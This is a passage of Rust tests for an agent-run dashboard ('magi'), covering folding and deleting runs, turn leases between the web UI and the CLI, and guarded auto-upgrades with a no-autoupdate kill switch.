24131 missing.is_empty(),
24132 "a run card's updater reaches for {missing:?}, which `createRunCard` \
24133 never put in `refs` - every card will throw and the list will \
24134 render empty under a count line that says otherwise. Published: \
24135 {published:?}"
24136 );
24137 }
24138
24139 #[tokio::test]
24140 async fn folding_from_the_phone_reports_what_it_removed() {
24141 let fx = Fixture::start().await;
24142 let runs = fx.runs();
24143
24144 let id = "20260901-000000-fold";
24148 write_run(&runs, id, RunStatus::Stalled);
24149 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24150 assert_eq!(res.status, 200);
24151 assert_eq!(res.json()["removed_count"], 0);
24152 assert_eq!(res.json()["run"], id);
24153 assert!(
24154 runs.join(id).exists(),
24155 "a fold keeps the run's record; only the worktrees go"
24156 );
24157 }
24158
24159 #[tokio::test]
24162 async fn folding_a_record_that_names_another_run_is_refused() {
24163 let fx = Fixture::start().await;
24164 let runs = fx.runs();
24165 let (a, b) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24166 write_run(&runs, a, RunStatus::Stalled);
24167 write_run(&runs, b, RunStatus::Stalled);
24168 std::fs::copy(runs.join(b).join("run.json"), runs.join(a).join("run.json")).unwrap();
24169 let record = std::fs::read(runs.join(a).join("run.json")).unwrap();
24170
24171 let res = fx.post(&format!("/api/runs/{a}/fold"), None).await;
24172 assert_eq!(res.status, 500, "{}", res.body);
24173 assert!(res.body.contains("not run"), "{}", res.body);
24174 let res = fx
24175 .post(
24176 &format!("/api/runs/{a}/fold-merged"),
24177 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24178 )
24179 .await;
24180 assert_eq!(res.status, 500, "{}", res.body);
24181 assert_eq!(
24182 std::fs::read(runs.join(a).join("run.json")).unwrap(),
24183 record
24184 );
24185 }
24186
24187 #[tokio::test]
24188 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
24189 let fx = Fixture::start().await;
24190 let runs = fx.runs();
24191 let wt = fx.home.path().join("wt").join("magi").join("dead");
24192 let id = "20260901-000000-dead";
24193 std::fs::create_dir_all(runs.join(id)).expect("run dir");
24194 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
24195 std::fs::create_dir_all(&wt).expect("worktree dir");
24196
24197 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24198 assert_eq!(res.status, 200, "{}", res.body);
24199 assert!(
24200 res.json()["removed_count"].as_u64().unwrap() > 0,
24201 "the worktree this build could not read a state for still went"
24202 );
24203 assert!(
24204 !runs.join(id).exists(),
24205 "an unreadable run has no candidate list to fold selectively, so \
24206 the whole record goes - same as `magi fold` on the CLI"
24207 );
24208 }
24209
24210 #[tokio::test]
24211 async fn folding_a_record_of_another_run_in_a_refused_schema_is_an_identity_error() {
24212 let fx = Fixture::start().await;
24213 let runs = fx.runs();
24214 let id = "20260901-000000-mism";
24215 std::fs::create_dir_all(runs.join(id)).expect("run dir");
24216 let record = br#"{"schema": 99999, "id": "20260901-000000-else"}"#.to_vec();
24217 std::fs::write(runs.join(id).join("run.json"), &record).expect("record");
24218
24219 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24220 assert_eq!(res.status, 500, "{}", res.body);
24221 assert!(
24222 res.json()["error"]
24223 .as_str()
24224 .unwrap()
24225 .contains("records run 20260901-000000-else"),
24226 "{}",
24227 res.body
24228 );
24229 assert_eq!(
24230 std::fs::read(runs.join(id).join("run.json")).unwrap(),
24231 record,
24232 "nothing is removed"
24233 );
24234 }
24235
24236 #[tokio::test]
24237 async fn deleting_an_unreadable_run_removes_it_wholesale() {
24238 let fx = Fixture::start().await;
24239 let runs = fx.runs();
24240 let wt = fx.home.path().join("wt").join("magi").join("gone");
24241 let id = "20260901-000000-gone";
24242 std::fs::create_dir_all(runs.join(id)).expect("run dir");
24243 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
24244 std::fs::create_dir_all(&wt).expect("worktree dir");
24245
24246 let res = fx.delete(&format!("/api/runs/{id}")).await;
24247 assert_eq!(res.status, 204, "{}", res.body);
24248 assert!(!runs.join(id).exists(), "the broken record is gone");
24249 assert!(!wt.exists(), "its worktree is gone too");
24250 }
24251
24252 #[tokio::test]
24253 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
24254 let fx = Fixture::start().await;
24255 let runs = fx.runs();
24256 let id = "20260901-000000-live";
24257 write_run(&runs, id, RunStatus::Implementing);
24258
24259 let mut beat = crate::daemon::Status::new();
24260 beat.current = vec![crate::daemon::Current {
24261 worker: None,
24262 task: "20260901-000000-task".to_owned(),
24263 run: id.to_owned(),
24264 }];
24265 beat.updated_at = jiff::Timestamp::now();
24266 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24267 .expect("publish a heartbeat");
24268
24269 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24270 assert_eq!(res.status, 409);
24271 assert!(
24272 res.json()["error"]
24273 .as_str()
24274 .unwrap()
24275 .contains("live daemon"),
24276 "folding under a running agent would pull its worktree away"
24277 );
24278 }
24279
24280 #[tokio::test]
24281 async fn fold_merged_requires_a_pr_url() {
24282 let fx = Fixture::start().await;
24283 let runs = fx.runs();
24284 let id = "20260901-000000-nourl";
24285 write_run(&runs, id, RunStatus::Blocked);
24286
24287 let res = fx
24288 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
24289 .await;
24290 assert_eq!(res.status, 400, "{}", res.body);
24291
24292 let blank = fx
24293 .post(
24294 &format!("/api/runs/{id}/fold-merged"),
24295 Some(r#"{"pr_url":" "}"#),
24296 )
24297 .await;
24298 assert_eq!(blank.status, 400, "{}", blank.body);
24299 }
24300
24301 #[tokio::test]
24302 async fn fold_merged_is_404_for_an_unknown_run() {
24303 let fx = Fixture::start().await;
24304 let res = fx
24305 .post(
24306 "/api/runs/nosuchrun/fold-merged",
24307 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24308 )
24309 .await;
24310 assert_eq!(res.status, 404, "{}", res.body);
24311 }
24312
24313 #[tokio::test]
24314 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
24315 let fx = Fixture::start().await;
24316 let runs = fx.runs();
24317 let id = "20260901-000000-livemerge";
24318 write_run(&runs, id, RunStatus::Blocked);
24319
24320 let mut beat = crate::daemon::Status::new();
24321 beat.current = vec![crate::daemon::Current {
24322 worker: None,
24323 task: "20260901-000000-task".to_owned(),
24324 run: id.to_owned(),
24325 }];
24326 beat.updated_at = jiff::Timestamp::now();
24327 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24328 .expect("publish a heartbeat");
24329
24330 let res = fx
24331 .post(
24332 &format!("/api/runs/{id}/fold-merged"),
24333 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24334 )
24335 .await;
24336 assert_eq!(res.status, 409, "{}", res.body);
24337 assert!(
24338 res.json()["error"]
24339 .as_str()
24340 .unwrap()
24341 .contains("live daemon"),
24342 "correcting a run's merge underneath a running agent would race \
24343 whatever it is doing to the same `status`/`merge` fields"
24344 );
24345 }
24346
24347 #[tokio::test]
24352 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
24353 let fx = Fixture::start().await;
24354 let runs = fx.runs();
24355 let id = "20260901-000000-unconfirmed";
24356 write_run(&runs, id, RunStatus::Blocked);
24357
24358 let res = fx
24359 .post(
24360 &format!("/api/runs/{id}/fold-merged"),
24361 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24362 )
24363 .await;
24364 assert_eq!(res.status, 400, "{}", res.body);
24365 assert_eq!(
24366 read_run(&runs, id).unwrap().status,
24367 RunStatus::Blocked,
24368 "a pull request that could not be confirmed merged must leave \
24369 the run exactly where it was"
24370 );
24371 }
24372
24373 #[tokio::test]
24374 async fn terminal_runs_cannot_be_resumed() {
24375 let fx = Fixture::start().await;
24376 let runs = fx.runs();
24377
24378 for (status, word) in [
24379 (RunStatus::Merged, "merged"),
24380 (RunStatus::Ready, "ready"),
24381 (RunStatus::Failed, "failed"),
24382 ] {
24383 let id = format!("20260901-000000-{}", &word[..4]);
24384 write_run(&runs, &id, status);
24385 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
24386 assert_eq!(res.status, 409, "{word} must not be resumable");
24387 }
24388 }
24389
24390 #[tokio::test]
24391 async fn resume_is_refused_while_the_loop_is_running() {
24392 let fx = Fixture::start().await;
24393 let runs = fx.runs();
24394 let stalled = "20260901-000000-stal";
24395 write_run(&runs, stalled, RunStatus::Stalled);
24396
24397 let mut beat = crate::daemon::Status::new();
24401 beat.current = vec![crate::daemon::Current {
24402 worker: None,
24403 task: "20260901-000000-task".to_owned(),
24404 run: "20260901-000000-othr".to_owned(),
24405 }];
24406 beat.updated_at = jiff::Timestamp::now();
24407 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24408 .expect("publish a heartbeat");
24409
24410 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
24411 assert_eq!(res.status, 409);
24412 let err = res.json()["error"].as_str().unwrap().to_owned();
24413 assert!(err.contains("othr"), "it names what the loop is on: {err}");
24414 assert!(err.contains("stop it first"), "{err}");
24415 }
24416
24417 #[test]
24418 fn a_run_cannot_be_resumed_twice_at_once() {
24419 let home = TempDir::new().expect("temp home");
24420 let ui = Ui::new(
24421 Queue::at(home.path().join("queue")),
24422 Questions::at(home.path().join("questions")),
24423 Talks::at(home.path().join("talks")),
24424 home.path().join("runs"),
24425 home.path().to_path_buf(),
24426 PathBuf::from("/repo"),
24427 )
24428 .with_worktrees_root(home.path().join("wt"));
24429 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
24430 let again = ui.begin_resume("20260901-000000-once");
24431 assert!(again.is_err(), "a second tap must not start a second graph");
24432 drop(first);
24433 assert!(
24434 ui.begin_resume("20260901-000000-once").is_ok(),
24435 "and the claim is released when the attempt ends"
24436 );
24437 }
24438
24439 #[test]
24440 fn talk_thinking_tracks_only_its_held_turn_claim() {
24441 let home = TempDir::new().expect("temp home");
24442 let ui = Ui::new(
24443 Queue::at(home.path().join("queue")),
24444 Questions::at(home.path().join("questions")),
24445 Talks::at(home.path().join("talks")),
24446 home.path().join("runs"),
24447 home.path().to_path_buf(),
24448 PathBuf::from("/repo"),
24449 )
24450 .with_worktrees_root(home.path().join("wt"));
24451 let id = "20260901-000000-once";
24452
24453 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
24454 let turn = ui.begin_talk_turn(id).expect("claim turn");
24455 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
24456 assert!(
24457 !ui.is_thinking("20260901-000000-other"),
24458 "one talk's turn does not make another talk busy"
24459 );
24460 drop(turn);
24461 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
24462 }
24463
24464 #[test]
24465 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
24466 let home = TempDir::new().expect("temp home");
24467 let talks = Talks::at(home.path().join("talks"));
24468 let ui = Ui::new(
24469 Queue::at(home.path().join("queue")),
24470 Questions::at(home.path().join("questions")),
24471 talks.clone(),
24472 home.path().join("runs"),
24473 home.path().to_path_buf(),
24474 PathBuf::from("/repo"),
24475 )
24476 .with_worktrees_root(home.path().join("wt"));
24477 let id = "20260901-000000-cross";
24478
24479 let other = Talks::at(home.path().join("talks"))
24480 .claim_turn(id)
24481 .expect("claim")
24482 .expect("the other process wins");
24483 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
24484 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
24485 assert!(
24486 matches!(
24487 ui.begin_talk_turn_unless_pending(id).expect("start"),
24488 TalkTurnStart::Foreign
24489 ),
24490 "a foreign holder is refused, not queued behind"
24491 );
24492 assert!(
24493 !ui.talk_turns.lock().unwrap().live.contains(id),
24494 "a refused claim leaves no in-process entry behind"
24495 );
24496 drop(other);
24497 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
24498 assert!(talks.turn_held(id), "the web turn holds the lease");
24499 drop(turn);
24500 assert!(
24501 !talks.turn_held(id),
24502 "dropping the guard releases the lease"
24503 );
24504 }
24505
24506 fn consult_question(ui: &Ui) -> Question {
24507 let mut q = Question::new(
24508 "20260901-000000-consult".to_owned(),
24509 "implement".to_owned(),
24510 "impl-A".to_owned(),
24511 "Which backend?".to_owned(),
24512 String::new(),
24513 vec!["SQLite".to_owned(), "Redis".to_owned()],
24514 );
24515 ui.questions.put(&mut q).expect("question");
24516 q
24517 }
24518
24519 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
24520 (
24521 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
24522 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
24523 )
24524 }
24525
24526 #[tokio::test]
24527 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
24528 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
24529 let q = consult_question(&ui);
24530 let talk = ui.talks.get(&id).expect("talk");
24531 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
24532 let before = consult_snapshot(&ui, &q, &id);
24533 let cli_talks = Talks::at(ui.home.join("talks"));
24534 assert_eq!(
24535 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
24536 .await
24537 .expect("CLI starter"),
24538 crate::consult::Started::Busy
24539 );
24540 assert_eq!(consult_snapshot(&ui, &q, &id), before);
24541 assert!(ui.is_thinking(&id));
24542 drop(guard);
24543 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
24544 }
24545
24546 #[tokio::test]
24547 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
24548 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
24549 let q = consult_question(&ui);
24550 let talk = ui.talks.get(&id).expect("talk");
24551 let started = tmp.path().join("started");
24552 let release = tmp.path().join("release");
24553 let script = tmp.path().join("consult-agent.sh");
24554 std::fs::write(
24555 &script,
24556 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
24557 )
24558 .expect("script");
24559 let mut cfg = stub_config();
24560 cfg.agents[0].id = "mock".to_owned();
24561 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
24562 cfg.agents[0].env = std::collections::BTreeMap::from([
24563 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
24564 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
24565 ]);
24566 let questions = ui.questions.clone();
24567 let cli_talks = Talks::at(ui.home.join("talks"));
24568 let cli_q = q.clone();
24569 let turn = tokio::spawn(async move {
24570 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
24571 });
24572 let ready = tokio::time::timeout(Duration::from_secs(30), async {
24573 while !started.exists() {
24574 tokio::time::sleep(Duration::from_millis(10)).await;
24575 }
24576 })
24577 .await;
24578 let refusal = if ready.is_ok() {
24581 let before = consult_snapshot(&ui, &q, &id);
24582 let result = talk_say(
24583 State(Arc::clone(&ui)),
24584 Path(id.clone()),
24585 Ok(Json(NewTalkTurn {
24586 reply_to: None,
24587 text: "another message".to_owned(),
24588 attachments: Vec::new(),
24589 })),
24590 )
24591 .await;
24592 Some((result, before, consult_snapshot(&ui, &q, &id)))
24593 } else {
24594 None
24595 };
24596 std::fs::write(&release, "").expect("release agent");
24597 let done = turn.await.expect("join CLI turn");
24598 ready.expect("agent started before deadline");
24599 let (result, before, after) = refusal.expect("web request");
24600 let error = result.expect_err("web must refuse the CLI's turn");
24601 assert_eq!(error.status, StatusCode::CONFLICT);
24602 assert!(error.message.contains("a turn is already running"));
24603 assert_eq!(
24604 after, before,
24605 "refusal preserves question, draft and history"
24606 );
24607 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
24608 let guard = ui
24609 .begin_talk_turn(&id)
24610 .expect("web claim")
24611 .expect("free again");
24612 drop(guard);
24613 }
24614
24615 #[test]
24616 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
24617 let home = TempDir::new().expect("temp home");
24618 let talks = Talks::at(home.path().join("talks"));
24619 let ui = Ui::new(
24620 Queue::at(home.path().join("queue")),
24621 Questions::at(home.path().join("questions")),
24622 talks.clone(),
24623 home.path().join("runs"),
24624 home.path().to_path_buf(),
24625 PathBuf::from("/repo"),
24626 )
24627 .with_worktrees_root(home.path().join("wt"));
24628 let id = "20260901-000000-order";
24629 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
24630 let slots = ui.talk_turns.lock().unwrap();
24632 let dropper = std::thread::spawn(move || drop(turn));
24633 let start = std::time::Instant::now();
24634 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
24635 std::thread::sleep(Duration::from_millis(5));
24636 }
24637 assert!(!talks.turn_held(id), "the lease is released first");
24638 assert!(slots.live.contains(id), "the slot is still held meanwhile");
24639 drop(slots);
24640 dropper.join().expect("join");
24641 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
24642 }
24643
24644 #[tokio::test]
24645 async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
24646 let fx = Fixture::start().await;
24647 let mut beat = crate::daemon::Status::new();
24648 beat.worker_protocol = None;
24649 beat.pid = 4321;
24650 beat.updated_at = jiff::Timestamp::now();
24651 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24652 .expect("publish a heartbeat");
24653
24654 let res = fx.post("/api/upgrade", None).await;
24655 assert_eq!(res.status, 409);
24656 }
24657
24658 #[test]
24665 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
24666 assert!(!should_spawn_recheck(&crate::config::Update {
24667 mode: UpdateMode::Off,
24668 interval: None,
24669 auto_restart: false,
24670 }));
24671
24672 unsafe {
24675 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
24676 }
24677 let killed = should_spawn_recheck(&crate::config::Update {
24678 mode: UpdateMode::Notify,
24679 interval: None,
24680 auto_restart: false,
24681 });
24682 unsafe {
24683 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
24684 }
24685 assert!(
24686 !killed,
24687 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
24688 one-time startup check"
24689 );
24690
24691 assert!(should_spawn_recheck(&crate::config::Update {
24692 mode: UpdateMode::Notify,
24693 interval: None,
24694 auto_restart: false,
24695 }));
24696 }
24697
24698 #[test]
24704 fn recheck_poll_period_tracks_a_short_configured_interval() {
24705 let short = crate::config::Update {
24706 mode: UpdateMode::Notify,
24707 interval: Some("1m".to_owned()),
24708 auto_restart: false,
24709 };
24710 let period = recheck_poll_period(&short);
24711 assert!(
24712 period <= Duration::from_secs(30),
24713 "a one-minute interval must wake the task far sooner than the \
24714 default ceiling, or the deck would not notice within the \
24715 interval the operator configured: got {period:?}"
24716 );
24717
24718 let default = crate::config::Update {
24719 mode: UpdateMode::Notify,
24720 interval: None,
24721 auto_restart: false,
24722 };
24723 assert_eq!(
24724 recheck_poll_period(&default),
24725 UPDATE_RECHECK_POLL_MAX,
24726 "the default day-long interval should poll at the (capped) \
24727 ceiling rather than needlessly often"
24728 );
24729 }
24730
24731 #[test]
24739 fn recheck_skips_the_network_before_the_interval_elapses() {
24740 let dir = TempDir::new().expect("temp dir");
24741 let path = dir.path().join("state.json");
24742 let state = kaishin::UpdateCheckState {
24743 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
24744 last_known_latest: None,
24745 last_known_url: None,
24746 };
24747 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
24748
24749 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
24750 assert!(
24751 !update_recheck_due(&checker, None),
24752 "a check made moments ago must not be repeated before the \
24753 configured interval elapses"
24754 );
24755 }
24756
24757 #[test]
24763 fn recheck_defers_to_an_upgrade_already_in_flight() {
24764 let dir = TempDir::new().expect("temp dir");
24765 let path = dir.path().join("state.json");
24766 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
24767 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
24768
24769 assert!(
24770 !update_recheck_due(&checker, Some(&progress)),
24771 "a recheck must not run while an upgrade this deck started is \
24772 still moving"
24773 );
24774 }
24775
24776 #[tokio::test]
24777 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
24778 unsafe {
24790 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
24791 }
24792 let fx = Fixture::start().await;
24793 let res = fx.post("/api/upgrade", None).await;
24794 unsafe {
24795 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
24796 }
24797 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
24798 let body = res.json();
24799 assert!(body["to"].is_null(), "there was no release to move to");
24800 assert!(body["parked"].is_null(), "and nothing was parked");
24801 assert!(
24802 body["detail"]
24803 .as_str()
24804 .unwrap()
24805 .contains("disabled by MAGI_NO_AUTOUPDATE"),
24806 "{body:?}"
24807 );
24808 }
24809
24810 #[test]
24811 fn auto_upgrade_decision_respects_policy_and_failed_tags() {
24812 use AutoUpgradeDecision::{Skip, Trigger};
24813 let mut cfg = Update::default();
24814 assert!(matches!(
24815 auto_upgrade_decision(&cfg, false, false, "v2", None),
24816 Skip(_)
24817 ));
24818 cfg.auto_restart = true;
24819 assert_eq!(
24820 auto_upgrade_decision(&cfg, false, false, "v2", None),
24821 Trigger
24822 );
24823 for (disabled, moving, failed) in [
24824 (true, false, None),
24825 (false, true, None),
24826 (false, false, Some("v2")),
24827 ] {
24828 assert!(matches!(
24829 auto_upgrade_decision(&cfg, disabled, moving, "v2", failed),
24830 Skip(_)
24831 ));
24832 }
24833 assert_eq!(
24834 auto_upgrade_decision(&cfg, false, false, "v3", Some("v2")),
24835 Trigger
24836 );
24837 cfg.mode = UpdateMode::Off;
24838 assert!(matches!(
24839 auto_upgrade_decision(&cfg, false, false, "v2", None),
24840 Skip(_)
24841 ));
24842 }
24843
24844 fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24845 Box::pin(async { anyhow::bail!("test installer failed") })
24846 }
24847
24848 static TEST_AUTO_HANDOVERS: std::sync::LazyLock<Mutex<HashMap<PathBuf, Arc<Notify>>>> =
24849 std::sync::LazyLock::new(Mutex::default);
24850
24851 fn test_replace_and_signal_handover(
24852 home: PathBuf,
24853 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24854 Box::pin(async move {
24855 if let Some(mut progress) = updater::read_progress(&home) {
24856 progress.advance(updater::Stage::Replaced);
24857 updater::write_progress_logged(&home, &progress);
24858 }
24859 if let Some(signal) = TEST_AUTO_HANDOVERS
24860 .lock()
24861 .unwrap_or_else(PoisonError::into_inner)
24862 .remove(&home)
24863 {
24864 signal.notify_one();
24865 }
24866 Ok(())
24867 })
24868 }
24869
24870 #[tokio::test]
24871 async fn auto_upgrade_guards_opt_in_legacy_concurrency_and_failed_tags() {
24872 let home = TempDir::new().unwrap();
24873 let mut ui = idle_ui(&home);
24874 ui.repo = home.path().to_path_buf();
24875 ui.upgrade_runner = fail_test_upgrade;
24877 let ui = Arc::new(ui);
24878 let latest = |tag: &str| {
24879 Some(kaishin::LatestRelease {
24880 tag_name: tag.into(),
24881 html_url: String::new(),
24882 })
24883 };
24884
24885 assert_eq!(
24887 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24888 .await
24889 .status(),
24890 StatusCode::NO_CONTENT
24891 );
24892 assert!(updater::read_progress(home.path()).is_none());
24893
24894 std::fs::write(
24896 home.path().join("magi.toml"),
24897 "[update]\nmode = \"off\"\nauto_restart = true\n",
24898 )
24899 .unwrap();
24900 assert_eq!(
24901 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24902 .await
24903 .status(),
24904 StatusCode::NO_CONTENT
24905 );
24906 assert!(updater::read_progress(home.path()).is_none());
24907
24908 std::fs::write(
24909 home.path().join("magi.toml"),
24910 "[update]\nauto_restart = true\n",
24911 )
24912 .unwrap();
24913
24914 assert_eq!(
24916 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, None)
24917 .await
24918 .status(),
24919 StatusCode::NO_CONTENT
24920 );
24921 assert!(updater::read_progress(home.path()).is_none());
24922
24923 let legacy_pid = std::process::id().wrapping_add(1).max(1);
24925 std::fs::write(
24926 home.path().join("daemon.json"),
24927 serde_json::json!({
24928 "schema": 2,
24929 "pid": legacy_pid,
24930 "updated_at": Timestamp::now().to_string(),
24931 "idle": true,
24932 })
24933 .to_string(),
24934 )
24935 .unwrap();
24936 assert_eq!(
24937 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24938 .await
24939 .status(),
24940 StatusCode::CONFLICT
24941 );
24942 assert!(updater::read_progress(home.path()).is_none());
24943 std::fs::remove_file(home.path().join("daemon.json")).unwrap();
24944
24945 let gate = ui.upgrade_gate.lock().await;
24947 assert_eq!(
24948 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24949 .await
24950 .status(),
24951 StatusCode::CONFLICT
24952 );
24953 drop(gate);
24954
24955 ui.talk_turns.lock().unwrap().live.insert("busy".into());
24957 assert_eq!(
24958 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24959 .await
24960 .status(),
24961 StatusCode::ACCEPTED
24962 );
24963 let progress = updater::read_progress(home.path()).unwrap();
24964 assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
24965 assert_eq!(progress.stage, updater::Stage::Downloading);
24966 assert_eq!(
24967 begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None)
24968 .await
24969 .status(),
24970 StatusCode::CONFLICT
24971 );
24972 assert!(progress.parked_run.is_none());
24973 assert!(ui.start_detached_loop().await.is_err());
24974 assert!(ui.start_loop(None).is_err());
24975 assert!(ui.begin_resume("late").is_err());
24976 assert_eq!(
24977 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24978 .await
24979 .status(),
24980 StatusCode::NO_CONTENT
24981 );
24982 tokio::time::timeout(Duration::from_secs(2), async {
24983 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24984 tokio::task::yield_now().await;
24985 }
24986 })
24987 .await
24988 .unwrap();
24989 let progress = updater::read_progress(home.path()).unwrap();
24990 assert_eq!(progress.stage, updater::Stage::Failed);
24991
24992 assert_eq!(
24994 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24995 .await
24996 .status(),
24997 StatusCode::NO_CONTENT
24998 );
24999
25000 let result = upgrade_checked(&ui, "old".into(), Ok(latest("v999.0.0")));
25002 assert_eq!(
25003 finish_upgrade_request(&ui, result).status(),
25004 StatusCode::ACCEPTED
25005 );
25006 assert_eq!(
25007 updater::read_progress(home.path()).unwrap().trigger,
25008 updater::UpgradeTrigger::Manual
25009 );
25010 tokio::time::timeout(Duration::from_secs(2), async {
25011 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
25012 tokio::task::yield_now().await;
25013 }
25014 })
25015 .await
25016 .unwrap();
25017
25018 assert_eq!(
25020 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.1"))
25021 .await
25022 .status(),
25023 StatusCode::ACCEPTED
25024 );
25025 assert_eq!(
25026 updater::read_progress(home.path()).unwrap().trigger,
25027 updater::UpgradeTrigger::Auto
25028 );
25029 tokio::time::timeout(Duration::from_secs(2), async {
25030 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
25031 tokio::task::yield_now().await;
25032 }
25033 })
25034 .await
25035 .unwrap();
25036 }
25037
25038 #[tokio::test]
25039 async fn auto_upgrade_hands_over_without_waiting_for_active_task_chat_or_service_workers() {
25040 let home = TempDir::new().unwrap();
25041 std::fs::write(
25042 home.path().join("magi.toml"),
25043 "[update]\nauto_restart = true\n",
25044 )
25045 .unwrap();
25046 let mut ui = idle_ui(&home);
25047 ui.repo = home.path().to_path_buf();
25048 ui.upgrade_runner = test_replace_and_signal_handover;
25049 let ui = Arc::new(ui);
25050
25051 let workers = [
25052 ("111111", 1_u64, "task", "task:active-task", 41_001_u32),
25053 ("222222", 2_u64, "chat", "chat:active-chat", 41_002_u32),
25054 (
25055 "333333",
25056 3_u64,
25057 "daemon-service",
25058 "service:maintenance",
25059 41_003_u32,
25060 ),
25061 ];
25062 let mut exec_leases = Vec::new();
25063 for (id, sequence, kind, key, pid) in workers {
25064 let dir = home.path().join("workers/jobs").join(id);
25065 std::fs::create_dir_all(&dir).unwrap();
25066 let payload = if kind == "chat" {
25067 serde_json::json!({ "talk": "active-chat" })
25068 } else {
25069 serde_json::json!({})
25070 };
25071 let job = crate::worker::Job {
25072 id: id.into(),
25073 sequence,
25074 kind: kind.into(),
25075 key: key.into(),
25076 payload,
25077 generation: "gen-old".into(),
25078 version: Some("0.1.0".into()),
25079 status: crate::worker::Status::Running,
25080 result: None,
25081 pid: Some(pid),
25082 created_at: 1,
25083 finished_at: None,
25084 };
25085 std::fs::write(dir.join("job.json"), serde_json::to_vec(&job).unwrap()).unwrap();
25086 exec_leases.push(crate::worker::execution_lease_for_test(
25087 &dir.join("live.lock"),
25088 ));
25089 }
25090 let task_lease = crate::worker::try_lease(home.path(), "task:active-task")
25091 .unwrap()
25092 .expect("free task lease");
25093 let chat_lease = crate::worker::try_lease(home.path(), "chat:active-chat")
25094 .unwrap()
25095 .expect("free chat worker lease");
25096 let service_lease = crate::worker::try_lease(home.path(), "service:maintenance")
25097 .unwrap()
25098 .expect("free service lease");
25099 let chat_turn = ui
